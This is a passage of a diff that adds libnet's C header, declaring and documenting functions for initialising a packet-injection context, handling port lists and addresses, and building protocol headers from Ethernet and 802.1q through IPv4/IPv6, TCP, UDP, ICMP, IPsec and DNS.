+ * is either a int16_t canonical string that references the device (such as
+ * "eth0" for a 100MB Ethernet card on Linux or "fxp0" for a 100MB Ethernet
+ * card on OpenBSD) or the dots and decimals representation of the device's
+ * IP address (192.168.0.1). If device is NULL, libnet attempts to find a
+ * suitable device to use. If the injection_type is LIBNET_RAW4, the function
+ * initializes the injection primitives for the IPv4 raw socket interface. The
+ * final argument, err_buf, should be a buffer of size LIBNET_ERRBUF_SIZE and
+ * holds an error message if the function fails. This function requires root
+ * privileges to execute successfully. Upon success, the function returns a
+ * valid libnet context for use in later function calls; upon failure, the
+ * function returns NULL.
+ * @param injection_type packet injection type (Add these later)
+ * @param device the interface to use (NULL and libnet will choose one)
+ * @param err_buf will contain an error message on failure
+ * @return libnet context ready for use or NULL on error.
+ */
+libnet_t *
+libnet_init(int injection_type, char *device, char *err_buf);
+
+/**
+ * Shuts down the libnet session referenced by l. It closes the network
+ * interface and frees all internal memory structures associated with l.
+ * @param l pointer to a libnet context
+ */
+void
+libnet_destroy(libnet_t *l);
+
+/**
+ * Clears the current packet referenced and frees all pblocks. Should be
+ * called when the programmer want to send a completely new packet of
+ * a different type using the same context.
+ * @param l pointer to a libnet context
+ */
+void
+libnet_clear_packet(libnet_t *l);
+
+/**
+ * Fills in a libnet_stats structure with packet injection statistics
+ * (packets written, bytes written, packet sending errors).
+ * @param l pointer to a libnet context
+ * @param ls pointer to a libnet statistics structure
+ */
+void
+libnet_stats(libnet_t *l, struct libnet_stats *ls);
+
+/**
+ * Returns the FILENO of the file descriptor used for packet injection.
+ * @param l pointer to a libnet context
+ * @return the file number of the file descriptor used for packet injection
+ */
+int
+libnet_getfd(libnet_t *l);
+
+/**
+ * Returns the canonical name of the device used for packet injection.
+ * @param l pointer to a libnet context
+ * @return the canonical name of the device used for packet injection. Note
+ * it can be NULL without being an error.
+ */
+int8_t *
+libnet_getdevice(libnet_t *l);
+
+/**
+ * Returns the pblock buffer contents for the specified ptag; a
+ * subsequent call to libnet_getpbuf_size() should be made to determine the
+ * size of the buffer.
+ * @param l pointer to a libnet context
+ * @param ptag the ptag reference number
+ * @return a pointer to the pblock buffer or NULL on error
+ */
+u_int8_t *
+libnet_getpbuf(libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * Returns the pblock buffer size for the specified ptag; a
+ * previous call to libnet_getpbuf() should be made to pull the actual buffer
+ * contents.
+ * @param l pointer to a libnet context
+ * @param ptag the ptag reference number
+ * @return the size of the pblock buffer
+ */
+u_int32_t
+libnet_getpbuf_size(libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * Returns the last error set inside of the referenced libnet context. This
+ * function should be called anytime a function fails or an error condition
+ * is detected inside of libnet.
+ * @param l pointer to a libnet context
+ * @return an error string or NULL if no error has occured
+ */
+char *
+libnet_geterror(libnet_t *l);
+
+/**
+ * Seeds the psuedo-random number generator.
+ * @param l pointer to a libnet context
+ * @return 1 on success, -1 on failure
+ */
+int
+libnet_seed_prand(libnet_t *l);
+
+/**
+ * Generates an unsigned psuedo-random value within the range specified by
+ * mod.
+ * LIBNET_PR2 0 - 1
+ * LIBNET_PR8 0 - 255
+ * LIBNET_PR16 0 - 32767
+ * LIBNET_PRu16 0 - 65535
+ * LIBNET_PR32 0 - 2147483647
+ * LIBNET_PRu32 0 - 4294967295
+ *
+ * @param mod one the of LIBNET_PR* constants
+ * @return 1 on success, -1 on failure
+ */
+u_int32_t
+libnet_get_prand(int mod);
+
+/**
+ * If a given protocol header is built with the checksum field set to "0", by
+ * default libnet will calculate the header checksum prior to injection. If the
+ * header is set to any other value, by default libnet will not calculate the
+ * header checksum. To over-ride this behavior, use libnet_toggle_checksum().
+ * Switches auto-checksumming on or off for the specified ptag. If mode is set
+ * to LIBNET_ON, libnet will mark the specificed ptag to calculate a checksum
+ * for the ptag prior to injection. This assumes that the ptag refers to a
+ * protocol that has a checksum field. If mode is set to LIBNET_OFF, libnet
+ * will clear the checksum flag and no checksum will be computed prior to
+ * injection. This assumes that the programmer will assign a value (zero or
+ * otherwise) to the checksum field. Often times this is useful if a
+ * precomputed checksum or some other predefined value is going to be used.
+ * Note that when libnet is initialized with LIBNET_RAW4, the IPv4 header
+ * checksum will always be computed by the kernel prior to injection,
+ * regardless of what the programmer sets.
+ * @param l pointer to a libnet context
+ * @param ptag the ptag reference number
+ * @param mode LIBNET_ON or LIBNET_OFF
+ * @return 1 on success, -1 on failure
+ */
+int
+libnet_toggle_checksum(libnet_t *l, libnet_ptag_t ptag, int mode);
+
+/**
+ * Takes a network byte ordered IPv4 address and returns a pointer to either a
+ * canonical DNS name (if it has one) or a string of dotted decimals. This may
+ * incur a DNS lookup if the hostname and mode is set to LIBNET_RESOLVE. If
+ * mode is set to LIBNET_DONT_RESOLVE, no DNS lookup will be performed and
+ * the function will return a pointer to a dotted decimal string. The function
+ * cannot fail -- if no canonical name exists, it will fall back on returning
+ * a dotted decimal string. This function is non-reentrant.
+ * @param in network byte ordered IPv4 address
+ * @param use_name LIBNET_RESOLVE or LIBNET_DONT_RESOLVE
+ * @return a pointer to presentation format string
+ */
+char *
+libnet_addr2name4(u_int32_t in, u_int8_t use_name);
+
+/**
+ * Takes a dotted decimal string or a canonical DNS name and returns a
+ * network byte ordered IPv4 address. This may incur a DNS lookup if mode is
+ * set to LIBNET_RESOLVE and host_name refers to a canonical DNS name. If mode
+ * is set to LIBNET_DONT_RESOLVE no DNS lookup will occur. The function can
+ * fail if DNS lookup fails or if mode is set to LIBNET_DONT_RESOLVE and
+ * host_name refers to a canonical DNS name.
+ * @param l pointer to a libnet context
+ * @param host_name pointer to a string containing a presentation format host
+ * name
+ * @param use_name LIBNET_RESOLVE or LIBNET_DONT_RESOLVE
+ * @return network byte ordered IPv4 address or -1 (2^32 - 1) on error
+ */
+u_int32_t
+libnet_name2addr4(libnet_t *l, char *host_name, u_int8_t use_name);
+
+extern const struct libnet_in6_addr in6addr_error;
+
+/**
+ * Takes a dotted decimal string or a canonical DNS name and returns a
+ * network byte ordered IPv6 address. This may incur a DNS lookup if mode is
+ * set to LIBNET_RESOLVE and host_name refers to a canonical DNS name. If mode
+ * is set to LIBNET_DONT_RESOLVE no DNS lookup will occur. The function can
+ * fail if DNS lookup fails or if mode is set to LIBNET_DONT_RESOLVE and
+ * host_name refers to a canonical DNS name.
+ * @param l pointer to a libnet context
+ * @param host_name pointer to a string containing a presentation format host
+ * name
+ * @param use_name LIBNET_RESOLVE or LIBNET_DONT_RESOLVE
+ * @return network byte ordered IPv6 address structure
+ */
+struct libnet_in6_addr
+libnet_name2addr6(libnet_t *l, char *host_name, u_int8_t use_name);
+
+/**
+ * Should document this baby right here.
+ */
+void
+libnet_addr2name6_r(struct libnet_in6_addr addr, u_int8_t use_name,
+char *host_name, int host_name_len);
+
+/**
+ * Creates a new port list. Port list chains are useful for TCP and UDP-based
+ * applications that need to send packets to a range of ports (contiguous or
+ * otherwise). The port list chain, which token_list points to, should contain
+ * a series of int8_tacters from the following list: "0123456789,-" of the
+ * general format "x - y, z", where "xyz" are port numbers between 0 and
+ * 65,535. plist points to the front of the port list chain list for use in
+ * further libnet_plist_chain() functions. Upon success, the function returns
+ * 1. Upon failure, the function returns -1 and libnet_geterror() can tell you
+ * why.
+ * @param l pointer to a libnet context
+ * @param plist if successful, will refer to the portlist, if not, NULL
+ * @param token_list string containing the port list primitive
+ * @return 1 on success, -1 on failure
+ */
+int
+libnet_plist_chain_new(libnet_t *l, libnet_plist_t **plist, char *token_list);
+
+/**
+ * Returns the next port list chain pair from the port list chain plist. bport
+ * and eport contain the starting port number and ending port number,
+ * respectively. Upon success, the function returns 1 and fills in the port
+ * variables; however, if the list is empty, the function returns 0 and sets
+ * both port variables to 0. Upon failure, the function returns -1.
+ * @param plist previously created portlist
+ * @param bport will contain the beginning port number or 0
+ * @param eport will contain the ending port number or 0
+ * @return 1 on success, 0 if empty, -1 on failure
+ */
+int
+libnet_plist_chain_next_pair(libnet_plist_t *plist, u_int16_t *bport,
+u_int16_t *eport);
+
+/**
+ * Runs through the port list and prints the contents of the port list chain
+ * list to stdout.
+ * @param plist previously created portlist
+ * @return 1 on success, -1 on failure
+ */
+int
+libnet_plist_chain_dump(libnet_plist_t *plist);
+
+/**
+ * Runs through the port list and prints the contents of the port list chain
+ * list to string. This function uses strdup and is not re-entrant. It also
+ * has a memory leak and should not really be used.
+ * @param plist previously created portlist
+ * @return a printable string containing the port list contents on success
+ * NULL on error
+ */
+char *
+libnet_plist_chain_dump_string(libnet_plist_t *plist);
+
+/**
+ * Frees all memory associated with port list chain.
+ * @param plist previously created portlist
+ * @return 1 on success, -1 on failure
+ */
+int
+libnet_plist_chain_free(libnet_plist_t *plist);
+
+/**
+ *\section PBF Packet Builder Functions
+ *
+ * The core of libnet is the platform-independent packet-building
+ * functionality. These functions enable an application programmer to build
+ * protocol headers (and data) in a simple and consistent manner without having
+ * to worry (too much) about low-level network odds and ends. Each
+ * libnet_build() function builds a piece of a packet (generally a protocol
+ * header). While it is perfectly possible to build an entire,
+ * ready-to-transmit packet with a single call to a libnet_build() function,
+ * generally more than one builder-class function call is required to construct
+ * a full packet. A complete wire-ready packet generally consists of more than
+ * one piece.
+ * Every function that builds a protocol header takes a series of arguments
+ * roughly corresponding to the header values as they appear on the wire. This
+ * process is intuitive but often makes for functions with huge prototypes and
+ * large stack frames.
+ * One important thing to note is that you must call these functions in order,
+ * corresponding to how they should appear on the wire (from the highest
+ * protocol layer on down). This building process is intuitive; it approximates
+ * what happens in an operating system kernel. In other words, to build a
+ * Network Time Protocol (NTP) packet by using the link-layer interface, the
+ * application programmer would call the libnet_build() functions in the
+ * following order:
+ * 1. libnet_build_ntp()
+ * 2. libnet_build_udp()
+ * 3. libnet_build_ipv4()
+ * 4. libnet_build_ethernet()
+ * This ordering is essential for libnet 1.1.x to properly link together the
+ * packet internally (previous libnet versions did not have the requirement).
+ *
+ *\subsection TPI The Payload Interface
+ *
+ * The payload interface specifies an optional way to include data directly
+ * after the protocol header in question. You can use this function for a
+ * variety of purposes, including the following:
+ * - Including additional or arbitrary protocol header information that is not
+ * available from a libnet interface
+ * - Including a packet payload (data segment)
+ * - Building another protocol header that is not available from a libnet
+ * interface
+ * To employ the interface, the application programmer should construct the i
+ * payload data and pass a u_int8_t * to this data and its size to the desired
+ * libnet_build() function. Libnet handles the rest.
+ *
+ *\subsection PT Protocol Tags and Packet Builder Return Values
+ *
+ * Libnet uses the protocol tag (ptag) to identify individual pieces of a
+ * packet after being created. A new ptag results every time a libnet_build()
+ * function with an empty (0) ptag argument completes successfully. This new
+ * ptag now refers to the packet piece just created. The application
+ * programmer's responsibility is to save this value if he or she plans to
+ * modify this particular portion later on in the program. If the application
+ * programmer needs to modify some portion of that particular packet piece
+ * again, he or she calls the same libnet_build() function specifying the
+ * saved ptag argument. Libnet then searches for that packet piece and modifies
+ * it rather than creating a new one. Upon failure for any reason,
+ * libnet_build() functions return -1; libnet_geterror()tells you why.
+ */
+
+/**
+ * Builds an IEEE 802.1q VLAN tagging header. Depending on the value of
+ * len_proto, the function wraps the 802.1q header inside either an IEEE 802.3
+ * header or an RFC 894 Ethernet II (DIX) header (both resulting in an 18-byte
+ * frame). If len is 1500 or less, most receiving protocol stacks parse the
+ * frame as an IEEE 802.3 encapsulated frame. If len is one of the Ethernet type
+ * values, most protocol stacks parse the frame as an RFC 894 Ethernet II
+ * encapsulated frame. Note the length value is calculated without the 802.1q
+ * header of 18 bytes.
+ * @param dst pointer to a six byte source ethernet address
+ * @param src pointer to a six byte destination ethernet address
+ * @param tpi tag protocol identifier
+ * @param priority priority
+ * @param cfi canonical format indicator
+ * @param vlan_id vlan identifier
+ * @param len_proto length (802.3) protocol (Ethernet II)
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_802_1q(u_int8_t *dst, u_int8_t *src, u_int16_t tpi,
+u_int8_t priority, u_int8_t cfi, u_int16_t vlan_id, u_int16_t len_proto,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * Builds an IEEE 802.1x extended authentication protocol header.
+ * @param eap_ver the EAP version
+ * @param eap_type the EAP type
+ * @param length frame length
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_802_1x(u_int8_t eap_ver, u_int8_t eap_type, u_int16_t length,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * Builds an IEEE 802.2 LLC header.
+ * @param dsap destination service access point
+ * @param ssap source service access point
+ * @param control control field
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_802_2(u_int8_t dsap, u_int8_t ssap, u_int8_t control,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * Builds an IEEE 802.2 LLC SNAP header.
+ * @param dsap destination service access point
+ * @param ssap source service access point
+ * @param control control field
+ * @param oui Organizationally Unique Identifier
+ * @param type upper layer protocol
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_802_2snap(u_int8_t dsap, u_int8_t ssap, u_int8_t control,
+u_int8_t *oui, u_int16_t type, u_int8_t *payload, u_int32_t payload_s,
+libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * Builds an IEEE 802.3 header. The 802.3 header is almost identical to the
+ * RFC 894 Ethernet II header, the exception being that the field immediately
+ * following the source address holds the frame's length (as opposed to the
+ * layer 3 protocol). You should only use this function when libnet is
+ * initialized with the LIBNET_LINK interface.
+ * @param dst destination ethernet address
+ * @param src source ethernet address
+ * @param len frame length sans header
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_802_3(u_int8_t *dst, u_int8_t *src, u_int16_t len,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * Builds an Ethernet header. The RFC 894 Ethernet II header is almost
+ * identical to the IEEE 802.3 header, with the exception that the field
+ * immediately following the source address holds the layer 3 protocol (as
+ * opposed to frame's length). You should only use this function when
+ * libnet is initialized with the LIBNET_LINK interface.
+ * @param dst destination ethernet address
+ * @param src source ethernet address
+ * @param type upper layer protocol type
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_ethernet(u_int8_t *dst, u_int8_t *src, u_int16_t type,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * Autobuilds an Ethernet header. The RFC 894 Ethernet II header is almost
+ * identical to the IEEE 802.3 header, with the exception that the field
+ * immediately following the source address holds the layer 3 protocol (as
+ * opposed to frame's length). You should only use this function when
+ * libnet is initialized with the LIBNET_LINK interface.
+ * @param dst destination ethernet address
+ * @param type upper layer protocol type
+ * @param l pointer to a libnet context
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_autobuild_ethernet(u_int8_t *dst, u_int16_t type, libnet_t *l);
+
+/**
+ * @param fc class format and priority
+ * @oaram dst destination fddi address
+ * @oaram src source fddi address
+ * @param dsap destination service access point
+ * @param ssap source service access point
+ * @param cf cf
+ * @param org IEEE organizational code
+ * @param type upper layer protocol
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_fddi(u_int8_t fc, u_int8_t *dst, u_int8_t *src, u_int8_t dsap,
+u_int8_t ssap, u_int8_t cf, u_int8_t *org, u_int16_t type, u_int8_t *payload,
+u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_autobuild_fddi(u_int8_t fc, u_int8_t *dst, u_int8_t dsap, u_int8_t ssap,
+u_int8_t cf, u_int8_t *org, u_int16_t type, libnet_t *l);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_arp(u_int16_t hrd, u_int16_t pro, u_int8_t hln, u_int8_t pln,
+u_int16_t op, u_int8_t *sha, u_int8_t *spa, u_int8_t *tha, u_int8_t *tpa,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_autobuild_arp(u_int16_t op, u_int8_t *sha, u_int8_t *spa, u_int8_t *tha,
+u_int8_t *tpa, libnet_t *l);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_tcp(u_int16_t sp, u_int16_t dp, u_int32_t seq, u_int32_t ack,
+u_int8_t control, u_int16_t win, u_int16_t sum, u_int16_t urg, u_int16_t len,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_tcp_options(u_int8_t *options, u_int32_t options_s, libnet_t *l,
+libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_udp(u_int16_t sp, u_int16_t dp, u_int16_t len, u_int16_t sum,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_cdp(u_int8_t version, u_int8_t ttl, u_int16_t sum, u_int16_t type,
+u_int16_t len, u_int8_t *value, u_int8_t *payload, u_int32_t payload_s,
+libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_icmpv4_echo(u_int8_t type, u_int8_t code, u_int16_t sum,
+u_int16_t id, u_int16_t seq, u_int8_t *payload, u_int32_t payload_s,
+libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_icmpv4_mask(u_int8_t type, u_int8_t code, u_int16_t sum,
+u_int16_t id, u_int16_t seq, u_int32_t mask, u_int8_t *payload,
+u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_icmpv4_unreach(u_int8_t type, u_int8_t code, u_int16_t sum,
+u_int16_t orig_len, u_int8_t orig_tos, u_int16_t orig_id, u_int16_t orig_frag,
+u_int8_t orig_ttl, u_int8_t orig_prot, u_int16_t orig_check,
+u_int32_t orig_src, u_int32_t orig_dst, u_int8_t *payload, u_int32_t payload_s,
+libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_icmpv4_redirect(u_int8_t type, u_int8_t code, u_int16_t sum,
+u_int32_t gateway, u_int16_t orig_len, u_int8_t orig_tos, u_int16_t orig_id,
+u_int16_t orig_frag, u_int8_t orig_ttl, u_int8_t orig_prot,
+u_int16_t orig_check, u_int32_t orig_src, u_int32_t orig_dst,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_icmpv4_timeexceed(u_int8_t type, u_int8_t code, u_int16_t sum,
+u_int16_t orig_len, u_int8_t orig_tos, u_int16_t orig_id, u_int16_t orig_frag,
+u_int8_t orig_ttl, u_int8_t orig_prot, u_int16_t orig_check,
+u_int32_t orig_src, u_int32_t orig_dst, u_int8_t *payload, u_int32_t payload_s,
+libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_icmpv4_timestamp(u_int8_t type, u_int8_t code, u_int16_t sum,
+u_int16_t id, u_int16_t seq, n_time otime, n_time rtime, n_time ttime,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_igmp(u_int8_t type, u_int8_t code, u_int16_t sum, u_int32_t ip,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_ipv4(u_int16_t len, u_int8_t tos, u_int16_t id, u_int16_t frag,
+u_int8_t ttl, u_int8_t prot, u_int16_t sum, u_int32_t src, u_int32_t dst,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_ipv4_options(u_int8_t *options, u_int32_t options_s, libnet_t *l,
+libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_autobuild_ipv4(u_int16_t len, u_int8_t prot, u_int32_t dst,
+libnet_t *l);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_ipv6(u_int8_t tc, u_int32_t fl, u_int16_t len, u_int8_t nh,
+u_int8_t hl, struct libnet_in6_addr src, struct libnet_in6_addr dst,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_ipv6_frag(u_int8_t nh, u_int8_t reserved, u_int16_t frag,
+u_int32_t id, u_int8_t *payload, u_int32_t payload_s, libnet_t *l,
+libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_ipv6_routing(u_int8_t nh, u_int8_t len, u_int8_t rtype,
+u_int8_t segments, u_int8_t *payload, u_int32_t payload_s, libnet_t *l,
+libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_ipv6_destopts(u_int8_t nh, u_int8_t len, u_int8_t *payload,
+u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_ipv6_hbhopts(u_int8_t nh, u_int8_t len, u_int8_t *payload,
+u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_autobuild_ipv6(u_int16_t len, u_int8_t nh, struct libnet_in6_addr dst,
+libnet_t *l);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_isl(u_int8_t *dhost, u_int8_t type, u_int8_t user, u_int8_t *shost,
+u_int16_t len, u_int8_t *snap, u_int16_t vid, u_int16_t index,
+u_int16_t reserved, u_int8_t *payload, u_int32_t payload_s, libnet_t *l,
+libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_ipsec_esp_hdr(u_int32_t spi, u_int32_t seq, u_int32_t iv,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_ipsec_esp_ftr(u_int8_t len, u_int8_t nxt_hdr, int8_t *auth,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_ipsec_ah(u_int8_t nxt_hdr, u_int8_t len, u_int16_t res,
+u_int32_t spi, u_int32_t seq, u_int32_t auth, u_int8_t *payload,
+u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_dnsv4(u_int16_t h_len, u_int16_t id, u_int16_t flags,
+u_int16_t num_q, u_int16_t num_anws_rr, u_int16_t num_auth_rr,
+u_int16_t num_addi_rr, u_int8_t *payload, u_int32_t payload_s, libnet_t *l,
+libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_rip(u_int8_t cmd, u_int8_t version, u_int16_t rd, u_int16_t af,
